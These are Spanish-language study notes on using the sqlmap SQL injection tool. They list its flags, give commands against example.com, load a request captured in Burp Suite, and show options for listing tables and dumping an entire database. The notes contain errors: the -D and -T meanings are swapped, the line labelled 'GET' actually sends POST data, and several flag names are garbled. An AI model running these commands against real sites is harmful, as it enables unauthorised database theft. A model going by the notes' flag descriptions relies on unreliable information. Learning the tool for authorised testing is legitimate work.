parametros:

• • -batch: hace que el usuario skipee cualquier user input usando la opcion default
• • -host
• • -referer
• -A/—user-agent: nombre aleateatoriio para el header User-Agent
• • -cookie= “”:valor cokie
• —method = PUT - -data=’id=1’: otro metodo http alternativo

Corriendolo con una solicitud HTTP:

• Primero capturamos la url:

  

• solicitud

  sqlmap '<http://www.example.com/?id=1>' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'-
  

GET/POST:

• GET sqlmap '<http://www.example.com/>' --data 'uid=1&name=test'
• POST sqlmap '<http://www.example.com/>' --data 'uid=1*&name=test'

Archivos completos:

• Creamos archivo .txt con nuestra solicitud interceptada en burpsuie

• ejecutamos:

  sqlmap -r req.txt

Parametros consulta:

• • -tables: tablas de toda la db
• • • dump : dumpea toda la db
• -D {tabla}: especificamos tabla para dumpear
• -T {base de datos}: especificamos base de datos